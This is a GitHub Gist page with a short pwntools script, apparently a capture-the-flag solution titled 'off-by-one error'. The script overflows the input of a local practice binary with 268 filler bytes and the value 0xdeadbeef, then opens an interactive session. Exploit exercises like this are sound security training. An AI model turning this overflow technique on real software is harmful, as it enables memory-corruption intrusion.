Created
February 27, 2024 05:35
-
-
Save sharpicx/23b45ac6f28e71a01a274649f824a24e to your computer and use it in GitHub Desktop.
off-by-one error | PETIR
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
context(arch='amd64', os='linux', log_level='debug') | |
e = ELF('./pwnme', checksec=True) | |
p = e.process() | |
offset = 268 | |
p.sendline(("A" * offset) + "\xef\xbe\xad\xde") | |
p.interactive() | |
p.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment